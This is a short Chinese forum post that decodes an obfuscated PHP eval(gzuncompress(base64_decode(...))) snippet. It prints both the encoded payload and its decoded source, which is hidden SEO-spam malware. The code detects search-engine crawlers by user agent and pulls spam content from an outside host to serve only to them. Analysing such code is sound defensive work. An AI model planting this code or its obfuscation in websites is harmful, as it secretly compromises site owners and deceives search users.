请人破解如下代码:
- eval(gzuncompress(base64_decode("eJylk19rwjAUxd8Fv0MmslTY6hjow6RsDop7mDLUDcaQEmvaZou5JUkZ2/C7L9VoO4as0+Qhfzjn/u4hhEVOTHUgSKqCOWinmSkqSUyFbrW+6rXmApaECa8ZTPzxkz9+wZs1GPWHPp71jEKlbEGlt69KLglBaLP3biLGaZAr7Y1ycKJ1etVucybe3G63c3nRcUNYtl+ZSlgMmZsm6bVtAru2HbdxaqkN1/JzDg0TQFuYOa/qtXxGmQg1A4F+tJinQ3YU7SIPKS01cHin0ilS302nD8GjOQX9gT+a4lmrZ71FFRYhx5hTUKX8ZwjHADGnholb6MTzUES4omX8dkiqMykQHuwMvUK02m3/Ji6V+AduOBntZe1FKJ7JtCrhmSQAR+SZE7bINu9cFXlbshxIVZBk54oSGSZVqRNjOSIn/whBVWXdr8UHkqR5jk/GOalKG+8MZeIvnpWvy+U/8BtOaC65")))
复制代码
解释:
base64_decode — 对使用 MIME base64 编码的数据进行解码
解码方法:
其实PHP是无法加密的,只要把eval替换为exit,运行一次就能看见源代码。
“解密”后的代码如下:
- if(get_naps_bot($useragent)){
- $domain=$_SERVER['SERVER_NAME'];
- $spider=get_naps_bot($useragent);
- $content=@file_get_contents('http://link.665205.com/jishigou.php?domain='.$domain."&spider=".$spider);
- echo $content;
- }
- function get_naps_bot(){
- $useragent = strtolower($_SERVER['HTTP_USER_AGENT']);
- if (strpos($useragent, 'googlebot') !== false){
- return 'Googlebot';
- }
-
- if (strpos($useragent, 'msnbot') !== false){
- return 'MSNbot';
- }
- if (strpos($useragent, 'slurp') !== false){
- return 'Yahoobot';
- }
-
- if (strpos($useragent, 'baiduspider') !== false){
- return 'Baiduspider';
- }
-
- if (strpos($useragent, 'sohu-search') !== false){
- return 'Sohubot';
- }
-
- if (strpos($useragent, 'lycos') !== false){
- return 'Lycos';
- }
-
- if (strpos($useragent, 'robozilla') !== false){
- return 'Robozilla';
- }
- return false;
- }
复制代码
|
|